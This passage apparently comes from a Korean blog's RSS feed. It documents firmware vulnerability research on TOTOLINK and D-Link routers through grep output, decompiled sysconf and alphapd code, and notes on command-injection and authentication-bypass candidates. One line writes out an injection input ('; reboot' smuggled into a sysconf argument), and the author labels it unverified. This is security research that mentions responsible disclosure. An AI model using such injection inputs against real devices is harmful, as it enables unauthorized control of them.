usr/share/udhcpc/usb0.sh:exec /usr/share/udhcpc/usb0.$1
usr/share/udhcpc/eth1.1.sh:exec /usr/share/udhcpc/eth1.1.$1
usr/share/udhcpc/eth1.3.sh:exec /usr/share/udhcpc/eth1.3.$1
grep: bin/igmpproxy: binary file matches
grep: bin/dhcp6ctl: binary file matches
grep: bin/radvd: binary file matches
grep: bin/routed: binary file matches
grep: bin/main_lc5761: binary file matches
grep: bin/batchUpgrade: binary file matches
grep: bin/map_reset: binary file matches
grep: bin/ntpclient: binary file matches
grep: bin/map_del_device: binary file matches
grep: bin/rebootschedules: binary file matches
grep: bin/batchUpgrades: binary file matches
grep: bin/rebootschedule: binary file matches
grep: bin/crpc: binary file matches
grep: bin/wscd: binary file matches
grep: bin/ipv6_manage_inet: binary file matches
grep: bin/dhcp6c: binary file matches
grep: bin/iapp: binary file matches
grep: bin/ebtables-restore: binary file matches
grep: bin/sysconf: binary file matches
grep: bin/pppd: binary file matches
grep: bin/ntp_inet: binary file matches
grep: bin/reload: binary file matches
grep: bin/timelycheck: binary file matches
grep: bin/pptp: binary file matches
grep: bin/pctime: binary file matches
grep: bin/acltd: binary file matches
grep: bin/dnsmasq: binary file matches
grep: bin/auth: binary file matches
grep: bin/miniigd: binary file matches
grep: bin/udhcpd: binary file matches
grep: bin/ip6tables: binary file matches
grep: bin/lld2d: binary file matches
grep: bin/map_agent: binary file matches
grep: bin/l2tpd: binary file matches
grep: bin/map_controller: binary file matches
grep: bin/tc: binary file matches
grep: bin/ddns_inet: binary file matches
grep: bin/reset: binary file matches
grep: bin/radvdump: binary file matches
grep: bin/map_checker: binary file matches
grep: bin/ppp_inet: binary file matches
grep: bin/parentcontrol: binary file matches
bin/startup.sh:if [ ! -e &quot;/var/system/set_time&quot; ]; then
grep: bin/Mcli: binary file matches
grep: bin/fwds: binary file matches
grep: bin/Parac2d: binary file matches
grep: bin/flash: binary file matches
grep: bin/fwd: binary file matches
grep: bin/busybox: binary file matches
grep: bin/wget: binary file matches
grep: bin/dhcp6s: binary file matches
grep: bin/ndppd: binary file matches
grep: bin/ip: binary file matches
grep: bin/updatedd: binary file matches
grep: bin/iwcontrol: binary file matches
grep: bin/watchdog: binary file matches
grep: bin/dnsspoof: binary file matches
grep: bin/Mser: binary file matches
grep: bin/boa: binary file matches
grep: bin/hle_entity: binary file matches
grep: bin/map_reinit: binary file matches
grep: bin/dnrd: binary file matches
grep: bin/iptables: binary file matches
grep: bin/mldproxy: binary file matches
grep: bin/iwpriv: binary file matches
grep: bin/cwmpClient: binary file matches
grep: bin/UDPserver: binary file matches
grep: lib/libebt_nat.so: binary file matches
grep: lib/libcrypto.so.1.0.0: binary file matches
grep: lib/libebtc.so: binary file matches
grep: lib/libm-0.9.33.so: binary file matches
grep: lib/libebt_redirect.so: binary file matches
grep: lib/libstdc++.so.6.0.19: binary file matches
grep: lib/libebt_arpreply.so: binary file matches
grep: lib/libcjson.so: binary file matches
grep: lib/libebt_nflog.so: binary file matches
grep: lib/libebt_standard.so: binary file matches
grep: lib/libssl.so.1.0.0: binary file matches
grep: lib/librt-0.9.33.so: binary file matches
grep: lib/libgcc_s.so.1: binary file matches
grep: lib/libuClibc-0.9.33.so: binary file matches
grep: lib/libpthread-0.9.33.so: binary file matches
grep: lib/libcrypt-0.9.33.so: binary file matches
grep: lib/libmtdapi.so: binary file matches
grep: lib/libebt_ulog.so: binary file matches
grep: lib/libapmib.so: binary file matches
grep: lib/libebt_mark.so: binary file matches
grep: lib/libmultiap.so: binary file matches
grep: lib/ld-uClibc-0.9.33.so: binary file matches
etc/inittab:# Boot-time system configuration/initialization script.
etc/init.d/rcS:mkdir /var/system
etc/init.d/rcS:# Start system script
etc/init.d/rcS_GW:mkdir /var/system
etc/init.d/rcS_GW:# Start system script
etc/sysconfig/ebtables-config:# Saves all firewall rules if firewall gets stopped
etc/sysconfig/ebtables-config:# (e.g. on system shutdown).
etc/sysconfig/ebtables-config:# Saves all firewall rules if firewall gets restarted.
etc/dnsmasq.conf:# On systems which support it, dnsmasq binds the wildcard address,
etc/dnsmasq.conf:#    domain of all systems configured by DHCP
etc/dnsmasq.conf:# Run an executable when a DHCP lease is created or destroyed.
etc/samba/smb.conf:# on SystemV system setting printcap name to lpstat should allow
etc/samba/smb.conf:# system
etc/samba/smb.conf:# It should not be necessary to specify the print system type unless
etc/samba/smb.conf:# it is non-standard. Currently supported print systems include:
etc/samba/smb.conf:# on a per machine basis. The %m gets replaced with the netbios name
etc/samba/smb.conf:# NOTE: If you have a BSD-style print system there is no need to 
etc/samba/smb.conf:# The %m gets replaced with the machine name that is connecting.
etc/boa.org/boa.conf:# The name you provide gets run through inet_aton(3), so you have to use dotted
etc/boa.org/boa.conf:# The CGIumask is set immediately before execution of the CGI.
etc/boa.org/boa.conf:# Uncomment the next line if you want .cgi files to execute from anywhere
etc/boa.org/boa.conf:# to enable directories for script execution.
etc/vsftpd.conf:# It is recommended that you define on your system a unique user which the
etc/services:exec       512/tcp
etc/services:npmp-gui   611/tcp dqs313_execd
etc/services:npmp-gui   611/udp dqs313_execd
web/tr069config.htm:            if(document.tr069.elements[&quot;autoexec&quot;][0].checked == true)
web/tr069config.htm:            else if(document.tr069.elements[&quot;autoexec&quot;][1].checked == true)
web/tr069config.htm:      &lt;input type=&quot;radio&quot; name=autoexec value=0 &lt;% getInfo(&quot;tr069-autoexec-0&quot;); %&gt; &gt;&lt;script&gt;dw(MM_Disabled)&lt;/script&gt;
web/tr069config.htm:      &lt;input type=&quot;radio&quot; name=autoexec value=1 &lt;% getInfo(&quot;tr069-autoexec-1&quot;); %&gt; &gt;&lt;script&gt;dw(MM_Enabled)&lt;/script&gt;
web/multi_ap_popup_client_details.htm:    var results = new RegExp(&#39;[\?&amp;]&#39; + &#39;count&#39; + &#39;=([^&amp;#?]*)&#39;).exec(window.location.href);
web/multi_ap_popup_client_details.htm:    var macresults = new RegExp(&#39;[\?&amp;]&#39; + &#39;macaddr&#39; + &#39;=([^&amp;#?]*)&#39;).exec(window.location.href);
web/status.htm:&lt;span style=&quot;background-image:url(img/system.png);&quot;&gt;&lt;/span&gt;&lt;span style=&quot;width:80%&quot;&gt;&lt;script&gt;dw(Js_System)&lt;/script&gt;&lt;/span&gt;
web/add/menuAd.htm:&lt;li&gt;&lt;span&gt;&lt;script&gt;dw(menu_system_status)&lt;/script&gt;&lt;/span&gt;&lt;/li&gt;
web/multi_ap_popup_device_details.htm:    var results = new RegExp(&#39;[\?&amp;]&#39; + &#39;count&#39; + &#39;=([^&amp;#?]*)&#39;).exec(window.location.href);
web/mobile/home.asp:&lt;span&gt;&lt;script&gt;dw(MM_system_mode)&lt;/script&gt;&lt;/span&gt;
web/mobile/home.asp:&lt;p class=&quot;nav-text&quot;&gt;&lt;script&gt;dw(MM_system_tools)&lt;/script&gt;&lt;/p&gt;
web/mobile/logout.asp:&lt;h2 class=&quot;header-name&quot;&gt;&lt;script&gt;dw(MM_system_tools)&lt;/script&gt;&lt;/h2&gt;
web/mobile/sysmode.asp:&lt;h2 class=&quot;header-name&quot;&gt;&lt;script&gt;dw(MM_system_mode)&lt;/script&gt;&lt;/h2&gt;
web/mobile/sysmode.asp:&lt;li id=&quot;menu1&quot;&gt;&lt;img src=&quot;/icon/icon_system_01.png&quot;&gt;
web/mobile/sysmode.asp:&lt;li id=&quot;menu2&quot;&gt;&lt;img src=&quot;/icon/icon_system_02.png&quot;&gt;
web/mobile/sysmode.asp:&lt;li id=&quot;menu3&quot;&gt;&lt;img src=&quot;/icon/icon_system_03.png&quot;&gt;
web/mobile/sysmode.asp:&lt;li id=&quot;menu4&quot;&gt;&lt;img src=&quot;/icon/icon_system_04.png&quot;&gt;
web/mobile/tools.asp:&lt;h2 class=&quot;header-name&quot;&gt;&lt;script&gt;dw(MM_system_tools)&lt;/script&gt;&lt;/h2&gt;
web/mobile/rfw.asp:&lt;h2 class=&quot;header-name&quot;&gt;&lt;script&gt;dw(MM_system_tools)&lt;/script&gt;&lt;/h2&gt;
web/mobile/js/language_tc.js:var MB_system_status = &quot;系統信息&quot;;
web/mobile/js/language_tc.js:var MM_system_mode=&quot;系統模式&quot;;
web/mobile/js/language_tc.js:var MM_system_tools=&quot;系統工具&quot;;
web/mobile/js/language_ru.js:var MB_system_status = &quot;Состояние системы&quot;;
web/mobile/js/language_ru.js:var MM_system_mode=&quot;Системный режим&quot;;
web/mobile/js/language_ru.js:var MM_system_tools=&quot;Системные инструменты&quot;;
web/mobile/js/language_sc.js:var MB_system_status = &quot;系统信息&quot;;
web/mobile/js/language_sc.js:var MM_system_mode=&quot;系统模式&quot;;
web/mobile/js/language_sc.js:var MM_system_tools=&quot;系统工具&quot;;
web/mobile/js/language_vn.js:var MB_system_status = &quot;Trạng thái hệ thống&quot;;
web/mobile/js/language_vn.js:var MM_system_mode=&quot;Chế độ hệ thống&quot;;
web/mobile/js/language_vn.js:var MM_system_tools=&quot;Công cụ hệ thống&quot;;
web/mobile/js/language_en.js:var MB_system_status = &quot;System Status&quot;;
web/mobile/js/language_en.js:var MM_system_mode=&quot;System mode&quot;;
web/mobile/js/language_en.js:var MM_system_tools=&quot;System tools&quot;;
web/mobile/js/language_ua.js:var MB_system_status = &quot;Інформація системи&quot;;
web/mobile/js/language_ua.js:var MM_system_mode=&quot;Режим системи&quot;;
web/mobile/js/language_ua.js:var MM_system_tools=&quot;Системні інструменти&quot;;
web/mobile/ntp.asp:&lt;h2 class=&quot;header-name&quot;&gt;&lt;script&gt;dw(MM_system_tools)&lt;/script&gt;&lt;/h2&gt;
web/mobile/stat.asp:div.Mnet_text,div.Mwiless_text,div.Msystem_text{font-size:15px;padding-left:1rem; padding-top:7px;font-weight:bold;}
web/mobile/stat.asp:div.Msystem_img{background:url(&quot;/img/menu/tools_n.png&quot;)no-repeat;}
web/mobile/stat.asp:div.Mnet_img,div.Mwiless_img,div.Msystem_img{ position:relative;height:2rem;width:2.4rem;float:left;}
web/mobile/stat.asp:&lt;div class=&quot;Msystem_img&quot;&gt;&lt;/div&gt;
web/mobile/stat.asp:&lt;div class=&quot;Msystem_text&quot;&gt;&lt;span id=&quot;Msystem_text&quot;&gt;&lt;/span&gt;&lt;script&gt;dw(MB_system_status)&lt;/script&gt;&lt;/div&gt;
web/mobile/wifiSignal.asp:&lt;h2 class=&quot;header-name&quot;&gt;&lt;script&gt;dw(MM_system_tools);&lt;/script&gt;&lt;/h2&gt;
web/mobile/password.asp:&lt;h2 class=&quot;header-name&quot;&gt;&lt;script&gt;dw(MM_system_tools)&lt;/script&gt;&lt;/h2&gt;
web/mobile/setlg.asp:&lt;h2 class=&quot;header-name&quot;&gt;&lt;script&gt;dw(MM_system_tools)&lt;/script&gt;&lt;/h2&gt;
web/wlan_schedule.htm:          system time before enable this feature.&lt;/tr&gt;
web/route.htm:var system_opmode =&lt;% getIndex(&quot;opMode&quot;); %&gt;;
web/route.htm:  if(system_opmode == 1)
grep: web/cgi-bin/cstecgi.cgi: binary file matches
web/js/language_tc.js:var menu_system_status=&#39;系統狀態&#39;;
web/js/language_tc.js://system log
web/js/language_tc.js:var Js_systemAll=&quot;所有事件&quot;;
web/js/language_tc.js:var usb_file_system=&#39;文件系統&#39;;
web/js/language_ru.js://system log
web/js/language_ru.js:var Js_systemAll=&quot;Всей системы&quot;;
web/js/language_ru.js:var menu_system_status=&#39;Состояние&#39;;
web/js/language_ru.js:var usb_file_system=&#39;файловая система&#39;;
web/js/language_sc.js:var menu_system_status=&#39;系统状态&#39;;
web/js/language_sc.js://system log
web/js/language_sc.js:var Js_systemAll=&quot;所有事件&quot;;
web/js/language_sc.js:var usb_file_system=&#39;文件系统&#39;;
web/js/language_vn.js:var menu_system_status=&#39;Trạng thái&#39;;
web/js/language_vn.js://system log
web/js/language_vn.js:var Js_systemAll=&quot;Tất cả hệ thống&quot;;
web/js/language_vn.js:var usb_file_system=&#39;Tập tin hệ thống&#39;;
web/js/language_en.js:var Js_WlSchHelpMsg=&quot;This page allows you setup the wireless schedule rule. Please do not forget to configure system time before enable this feature.&quot;;
web/js/language_en.js:var Js_NtpHelpMsg=&quot;You can maintain the system time by synchronizing with a public time server over the Internet.&quot;;
web/js/language_en.js:var menu_system_status=&#39;Status&#39;;
web/js/language_en.js://system log
web/js/language_en.js:var Js_systemAll=&quot;system all&quot;;
web/js/language_en.js:var Js_SystemHelpMsg=&quot;This page can be used to set remote log server and show the system log.&quot;;
web/js/language_en.js:var Js_UpLoadHelpMsg=&quot;This page allows you upgrade the Access Point firmware to new version. Please note, do not power off the device during the upload because it may crash the system.&quot;;
web/js/language_en.js:var syscmd_explain = &#39;This page can be used to run target system command.&#39;;
web/js/language_en.js:var Js_msg155=&quot;If the disk partition number is equal to or greater than two, The Windows system can only recognize the first partition! All partitions need to identify in the Linux system!&quot;;
web/js/language_en.js:var usb_file_system=&#39;File System&#39;;
web/js/language_en.js:var reset_sr=&quot;The system is restored to factory settings&quot;;
web/js/language_ua.js:var menu_system_status=&#39;Статус&#39;;
web/js/language_ua.js://system log
web/js/language_ua.js:var Js_systemAll=&quot;Вести журнал для всіх системних подій&quot;;
web/js/language_ua.js:var usb_file_system=&#39;Файлова система&#39;;
web/logout.htm:    document.execCommand(&#39;ClearAuthenticationCache&#39;);
web/syslog.htm:&lt;tr&gt;&lt;td&gt;&lt;script&gt;dw(MM_Type)&lt;/script&gt;&lt;/td&gt;&lt;td&gt;&lt;input type=&quot;checkbox&quot; name=&quot;syslogEnabled&quot; value=&quot;ON&quot; onClick=&quot;updateStateSys()&quot;&gt;&lt;script&gt;dw(Js_systemAll)&lt;/script&gt;
web/util_gw.js: if(test.exec(strMsg))
web/util_gw.js: if(field &amp;&amp; field.value &amp;&amp; reg.exec(field.value))//format x.x.x.x
web/util_gw.js: //if(reg.exec(str))
web/util_gw.js: if(value&lt;0 || value&gt;parseInt(&quot;ffff&quot;,16) || isNaN(value) || !reg.exec(ipField.value))
web/util_gw.js: if(reg.exec(prefixField.value)||prefixField.value&lt;0 ||prefixField.value&gt;128)
web/util_gw.js: if(strVal!=&quot;0&quot; &amp;&amp; !reg.exec(strVal))
web/util_gw.js: if(!reg.exec(field.value))
web/util_gw.js: //if(reg.exec(field.value))</code></pre><h3 id="공격-벡터-선정">공격 벡터 선정</h3>
<ul>
<li><p><strong><code>system()</code> 함수 사용 가능성</strong></p>
<ul>
<li><code>&quot;grep -rE &#39;system&#39;</code> 결과에서 <code>/web/wlan_schedule.htm</code> 파일이 <code>system time</code>을 호출하는 부분이 있음.</li>
<li><code>bin</code> 폴더의 바이너리 일부가 <code>system()</code> 호출을 포함하고 있을 가능성</li>
<li>특정 바이너리 내부 분석 필요 (<code>sysconf</code>, <code>timelycheck</code>, <code>boa</code>, <code>busybox</code> 등)</li>
</ul>
</li>
<li><p><strong><code>exec</code> 함수 사용 가능성</strong></p>
<ul>
<li><code>web/logout.htm</code>에서 <code>document.execCommand(&#39;ClearAuthenticationCache&#39;);</code> 호출</li>
<li>여러 <code>udhcpc</code> 스크립트에서 <code>exec</code> 사용 (<code>/usr/share/udhcpc/eth0.sh</code>, <code>/usr/share/udhcpc/wlan0.sh</code> 등)</li>
<li><code>exec</code>를 통한 임의 명령 실행 가능성 확인 필요</li>
</ul>
</li>
<li><p><strong>자동 실행(<code>autoexec</code>) 설정 존재</strong></p>
<ul>
<li><code>/web/tr069config.htm</code> 파일에서 <code>autoexec</code> 관련 설정 발견</li>
<li>이 설정을 조작할 수 있다면 자동 실행 명령어를 삽입하는 공격이 가능할 수도 있음</li>
</ul>
</li>
<li><p><strong>네트워크 설정 관련 바이너리 (<code>dnsmasq</code>, <code>pppd</code>, <code>dhcp6c</code> 등)</strong></p>
<ul>
<li><code>grep</code> 결과에서 <code>dnsmasq</code>, <code>pppd</code>, <code>dhcp6c</code>, <code>iptables</code>, <code>boa</code> 같은 바이너리가 확인됨</li>
</ul>
</li>
</ul>
<hr>
<h1 id="중요-스크립트-리버싱">중요 스크립트 리버싱</h1>
<h2 id="sysconf">sysconf</h2>
<ul>
<li>특정 명령어 문자열을 생성하고, <code>system()</code> 함수를 이용해 실행하는 구조</li>
<li>명령어 주입 취약점 가능성이 조사해볼만 함</li>
</ul>
<h3 id="실행-흐름-분석">실행 흐름 분석</h3>
<h4 id="초기화">초기화</h4>
<ul>
<li><code>/tmp/lock</code> 파일을 생성 (<code>open(&quot;/tmp/lock&quot;, 770)</code>)</li>
<li><code>apmib_init()</code> 실행: 펌웨어 내 환경 변수 및 설정 접근</li>
<li><code>apmib_get(10186, &amp;v105);</code> 호출<ul>
<li>값이 1이면 <code>system(&quot;flash default-sw&quot;);</code> 실행 후 <code>sleep(1);</code></li>
<li><code>flash default-sw</code>는 설정 초기화를 의미할 가능성 큼</li>
</ul>
</li>
</ul>
<h4 id="totolink-문자열-검증">TOTOLINK 문자열 검증</h4>
<pre><code>if ( strcmp(v96, &quot;TOTOLINK&quot;) ) {
    strcpy(v96, &quot;TOTOLINK&quot;);
    apmib_set(186, v96);
}</code></pre><ul>
<li>특정 문자열(<code>TOTOLINK</code>)이 존재하는지 확인 후, 없으면 설정 변경</li>
</ul>
<h4 id="mac-주소-관련-작업">MAC 주소 관련 작업</h4>
<pre><code>apmib_get(203, &amp;v93);
sprintf(v91, &quot;mac %02x%02x%02x%02x%02x%02x\n&quot;, (unsigned __int8)v93, BYTE1(v93), BYTE2(v93), HIBYTE(v93), v94, v95);
sub_40D69C(&quot;/var/mac_backup.conf&quot;, 1, v91);</code></pre><ul>
<li><code>apmib_get(203, &amp;v93);</code> → MAC 주소 가져오기</li>
<li><code>sub_40D69C(&quot;/var/mac_backup.conf&quot;, 1, v91);</code> → <code>/var/mac_backup.conf</code> 파일에 저장</li>
</ul>
<h4 id="플래시-메모리에-mac-주소-저장">플래시 메모리에 MAC 주소 저장</h4>
<pre><code>sprintf(v91, &quot;flash set HW_WLAN_ADDR %02x%02x%02x%02x%02x%02x&quot;,
        LOBYTE(v100[0]), BYTE1(v100[0]), BYTE2(v100[0]),
        HIBYTE(v100[0]), LOBYTE(v100[1]), BYTE1(v100[1]));
system(v91);</code></pre><h3 id="취약점---system">취약점 - system()</h3>
<ul>
<li>MAC 주소 비교 후 변경될 경우 <code>system(v91)</code> 호출</li>
</ul>
<pre><code>system(v91);</code></pre><ul>
<li><p><strong>문자열 기반 명령어 실행</strong></p>
<ul>
<li><code>sprintf(v91, &quot;flash set WRITE_MAC %s&quot;, mac_address);</code></li>
<li>이때 <code>mac_address</code> 값이 조작될 수도...</li>
</ul>
</li>
<li><p><strong>플래시 메모리 수정 후 <code>system()</code> 호출</strong></p>
<ul>
<li><code>system(&quot;flash set HW_WLAN_ADDR ...&quot;)</code></li>
<li><code>system(&quot;echo 0 &gt; /proc/led_status&quot;);</code></li>
</ul>
</li>
<li><p><strong>특정 명령을 수동으로 실행 가능</strong></p>
<ul>
<li>시스템 로그 관련 프로세스를 종료하는 등</li>
</ul>
</li>
</ul>
<pre><code>system(&quot;killall -9 syslogd&quot;);
system(&quot;killall -9 klogd&quot;);</code></pre><h3 id="공격-가능성---명령어-삽입-공격">공격 가능성 - 명령어 삽입 공격</h3>
<pre><code>sysconf wlaninit &quot;; reboot&quot;</code></pre><ul>
<li><p><code>flash set HW_WLAN_ADDR</code>에 <code>; reboot</code>을 삽입하면, 기기가 재부팅</p>
</li>
<li><p>검증 필요</p>
<ul>
<li><code>sysconf</code> 실행 시 외부 입력이 <code>system()</code>으로 직접 전달되는지</li>
<li><code>system()</code> 호출되는 <code>v91</code> 값을 디버깅 툴로 확인</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Zero-day] 다시 한번 대상 변경]]></title>
            <link>https://velog.io/@lilac_21/Zero-day-%EB%8B%A4%EC%8B%9C-%ED%95%9C%EB%B2%88-%EB%8C%80%EC%83%81-%EB%B3%80%EA%B2%BD</link>
            <guid>https://velog.io/@lilac_21/Zero-day-%EB%8B%A4%EC%8B%9C-%ED%95%9C%EB%B2%88-%EB%8C%80%EC%83%81-%EB%B3%80%EA%B2%BD</guid>
            <pubDate>Wed, 19 Mar 2025 11:49:48 GMT</pubDate>
            <description><![CDATA[<h2 id="대상-변경">대상 변경</h2>
<blockquote>
<p>TOTOLINK-A3002R-Ge-V4.0.0-B20230531.1404.web</p>
</blockquote>
<h2 id="안내">안내</h2>
<ul>
<li><p>이후 제로데이 취약점 탐색 세션에서의 일부 조사 내용은 &quot;책임 있는 공개 원칙&quot;에 의거, 비공개 처리되어 있음(2025.3.19 기준)</p>
</li>
<li><p>Vendor측에 Notification을 제출한 상태이며, CVE MITRE와 Vendor의 Feedback에 따라 추후 공개 처리 예정</p>
</li>
<li><p>아는 사람은 알겠지만, 취약점 탐색 및 검증에 성공했다는 뜻.</p>
</li>
<li><p>야호!</p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Zero-day] 심화 분석 2]]></title>
            <link>https://velog.io/@lilac_21/Zero-day-%EC%8B%AC%ED%99%94-%EB%B6%84%EC%84%9D-2</link>
            <guid>https://velog.io/@lilac_21/Zero-day-%EC%8B%AC%ED%99%94-%EB%B6%84%EC%84%9D-2</guid>
            <pubDate>Wed, 19 Mar 2025 11:46:18 GMT</pubDate>
            <description><![CDATA[<h1 id="에뮬레이팅">에뮬레이팅</h1>
<blockquote>
<p>sudo ./run.sh -d dlink dcs932lb1_v200_b6.bin</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/82ab102b-8504-4859-9d13-419f1dd1c23c/image.png" alt=""></p>
<ul>
<li>한나절 동안 이것만 함 젠장</li>
</ul>
<hr>
<h2 id="네트워크-및-서비스-관련-취약점-탐색">네트워크 및 서비스 관련 취약점 탐색</h2>
<h3 id="후보-선정">후보 선정</h3>
<h4 id="1-binalphapd">1. <code>/bin/alphapd</code></h4>
<ul>
<li>이진 실행 파일(바이너리)이고, 보통 네트워크 관련 서비스에 사용됨</li>
<li>이전에 <code>nipcauserverify()</code> 함수 분석을 진행했던 것으로 보아, 인증 관련 기능을 포함할 가능성이 높음</li>
</ul>
<h4 id="2-etc_rowebcgisystemcgi">2. <code>/etc_ro/web/cgi/system.cgi</code></h4>
<ul>
<li><code>AdminPassword</code>, <code>AdminID</code> 값을 다루고 있는 것으로 보아, 관리 인터페이스 관련 가능성 있음</li>
<li>특정 URL을 통해 시스템 정보를 유출하거나, 관리 기능을 조작할 수 있는 취약점이 있을 가능성 있음</li>
</ul>
<h4 id="3-sbinfirewallsh">3. <code>/sbin/firewall.sh</code></h4>
<ul>
<li>방화벽 설정을 담당하는 스크립트</li>
<li>내부적으로 네트워크 정책을 잘못 적용하면, 임의의 포트가 열릴 가능성이 있음</li>
</ul>
<h4 id="4-bingcmd">4. <code>/bin/gcmd</code></h4>
<ul>
<li>이름으로 볼 때 &quot;command&quot; 실행과 관련될 가능성이 있음</li>
<li>혹시 명령어 인젝션(Command Injection) 같은 취약점이 존재할 수도...?</li>
</ul>
<h3 id="binalphapd">/bin/alphapd</h3>
<h4 id="main">main</h4>
<pre><code>v5 = fopen(&quot;/var/run/nvramd.pid&quot;, &quot;r&quot;);
if ( !v5 ) {
    trace(16, &quot;waiting for nvram_daemon&quot;, v6);
    Sleep(1);
    if ( v4 &gt;= 15 ) {
        trace(0, &quot;please execute nvram_daemon first!&quot;, v8);
        return -1;
    }
}</code></pre><ul>
<li><code>/var/run/nvramd.pid</code> 파일이 존재하지 않으면 최대 15초 동안 기다린 후 실행 종료</li>
<li>nvram_daemon 프로세스가 실행 중이어야 웹 서버가 정상 작동</li>
<li><code>nvram</code>은 환경 설정 값을 저장하는 비휘발성 메모리(NVRAM)와 관련!</li>
</ul>
<pre><code>v10 = nvram_bufget(0, &quot;SecondHTTPPortEnable&quot;);
v11 = (_BYTE *)nvram_bufget(0, &quot;SecondHTTPPort&quot;);
if ( v10 &amp;&amp; !strcmp(v10, &quot;3&quot;) &amp;&amp; v11 &amp;&amp; *v11 )
    v3 = atoi(v11);</code></pre><ul>
<li>기본적으로 웹 서버 포트는 80으로 설정됨</li>
<li><code>SecondHTTPPortEnable</code>이 3으로 설정되어 있고, <code>SecondHTTPPort</code> 값이 존재하면 해당 포트 사용</li>
<li><code>nvram_bufget()</code>을 통해 가져오는 값이 올바르게 검증되지 않으면 취약점이 발생할 가능성</li>
</ul>
<pre><code>sub_4069B4(15, sub_406938);
sub_4069B4(2, sub_406938);
signal(13, 1);</code></pre><ul>
<li><code>sub_4069B4()</code> 함수는 신호 핸들링 관련 함수일 가능성이 높음</li>
<li><code>signal(13, 1);</code> → SIGPIPE 시그널 무시 (<code>SIGPIPE</code>는 파이프가 끊어졌을 때 발생하는 시그널)</li>
</ul>
<pre><code>if ( websStartupServer(v3) &gt;= 0 ) {
    trace(0, &quot;Running at address %s:%d\n&quot;, &amp;websSrvIpAddr);
    websParaOpen();
    websSetFormOpen();
    websEnableErrorMessage();
    websStartAuthentication();
    httpd_main();
    websEndAuthentication();
    websDisableErrorMessage();
    websSetFormClose();
    websParaClose();
    websShutdownServer();
}</code></pre><ul>
<li><code>websStartupServer(v3)</code> → 웹 서버 실행 (포트 <code>v3</code>)</li>
<li><code>websStartAuthentication();</code> → 인증 시스템 활성화</li>
<li><code>httpd_main();</code> → 웹 서버가 동작하는 메인 루프</li>
<li><code>websEndAuthentication();</code> → 인증 시스템 종료</li>
<li><code>websShutdownServer();</code> → 서버 종료</li>
</ul>
<h4 id="websstartauthentication">websStartAuthentication()</h4>
<pre><code>int websStartAuthentication()
{
  int v0; // $v0

  v0 = nvram_bufget(0, &quot;AccessControlEnable&quot;);
  if ( !strcmp(v0, &amp;word_44D1B8) )
    websEnableAllUser();
  return websEnableHtmlFile();
}</code></pre><ul>
<li><code>nvram_bufget(0, &quot;AccessControlEnable&quot;)</code>로 NVRAM에서 <code>AccessControlEnable</code> 값을 가져옴</li>
<li>만약 <code>word_44D1B8</code>과 같은 값이면 모든 사용자(websEnableAllUser())에 대해 인증을 비활성화하는 것으로 보임</li>
<li>결론: <code>AccessControlEnable</code>이 특정 값이면 인증이 필요 없을 가능성?</li>
</ul>
<h4 id="httpd_main">httpd_main()</h4>
<pre><code>int httpd_main()
{
  int result; // $v0
  int v1; // $a2
  unsigned int SysInfoLong; // $v0
  unsigned int v3; // $a0
  unsigned int v4; // $v1
  int v5; // $v0

  for ( result = gotsigterm; !gotsigterm; result = usleep(1000) )
  {
    SysInfoLong = getSysInfoLong(56);
    v3 = SysInfoLong &gt;&gt; 9;
    v4 = SysInfoLong;
    v5 = (SysInfoLong &gt;&gt; 9) &amp; 1;
    if ( v5 || (v5 = v3 &amp; 1, ((v4 &gt;&gt; 15) &amp; 1) != 0) || (v5 = v3 &amp; 1, (v4 &amp; 0x10000) != 0) )
    {
      if ( v5 )
      {
        setSysInfoLong(58, 512);
      }
      else if ( ((v4 &gt;&gt; 15) &amp; 1) != 0 )
      {
        setSysInfoLong(58, 0x8000);
      }
      else if ( (v4 &amp; 0x10000) != 0 )
      {
        setSysInfoLong(58, 0x10000);
      }
      websEndAuthentication();
      nvram_close(0);
      nvram_init(0);
      websStartAuthentication();
      trace(16, &quot;reload configuration!\n&quot;, v1);
    }
    websSocketEventPoll();
    usleep(1000);
    websCgiReapChildren();
    usleep(1000);
    websFrameReapChildren();
    usleep(1000);
    websStreamReapChildren();
    usleep(1000);
    websTimeoutProcess();
  }
  return result;
}</code></pre><ul>
<li><code>httpd_main()</code>은 웹 서버의 메인 루프 역할</li>
<li><code>getSysInfoLong(56)</code> 값을 확인하여 특정 비트가 설정되었는지 검사<ul>
<li>이 값이 변하면 <code>setSysInfoLong(58, 값)</code>으로 설정하고 설정을 다시 불러옴</li>
<li>이후 <code>websEndAuthentication()</code>, <code>nvram_close(0)</code>, <code>nvram_init(0)</code>, <code>websStartAuthentication()</code>가 호출</li>
</ul>
</li>
<li><code>websSocketEventPoll()</code>을 계속 실행하여 웹 서버가 요청을 처리하도록 함</li>
</ul>
<h4 id="getsysinfolongint-a1">getSysInfoLong(int a1)</h4>
<pre><code>int __fastcall getSysInfoLong(int a1)
{
  int v2; // $s1
  int v4; // [sp+18h] [-8h] BYREF

  v2 = open(&quot;/dev/gpio&quot;, 0);
  v4 = 0;
  if ( v2 &gt;= 0 )
  {
    ioctl(v2, (a1 &lt;&lt; 8) | 0x20080, &amp;v4);
    close(v2);
  }
  return v4;
}</code></pre><ul>
<li><code>/dev/gpio</code> 디바이스 파일을 오픈</li>
<li><code>ioctl(v2, (a1 &lt;&lt; 8) | 0x20080, &amp;v4);</code><ul>
<li><code>a1</code>을 왼쪽으로 8비트 시프트한 후 <code>0x20080</code>과 OR 연산</li>
<li><code>ioctl()</code> 호출을 통해 GPIO에서 값을 가져옴</li>
</ul>
</li>
<li>가져온 값이 <code>v4</code>에 저장되며 반환</li>
</ul>
<blockquote>
<p>GPIO 인터페이스를 직접 조작할 수 있으려나</p>
</blockquote>
<h4 id="webscgireapchildren">websCgiReapChildren()</h4>
<pre><code>int websCgiReapChildren()
{
  int result; // $v0
  int i; // $s2
  int *v2; // $s1
  int v3; // $s0
  const char *v4; // $a1
  int v5; // $a3
  int v6; // [sp+18h] [-8h] BYREF

  result = dword_491720;
  for ( i = 0; dword_491720 &gt;= i; result = dword_491720 &lt; i )
  {
    while ( 1 )
    {
      v2 = *(int **)(4 * i + dword_4934A0);
      if ( v2 )
      {
        v3 = *v2;
        if ( !websReapChildren(v2[1], (int)&amp;v6) )
          break;
      }
      result = dword_491720 &lt; ++i;
      if ( dword_491720 &lt; i )
        return result;
    }
    websConnClose(v3, 200);
    v4 = &quot;child(%d) exited, status=%d\n&quot;;
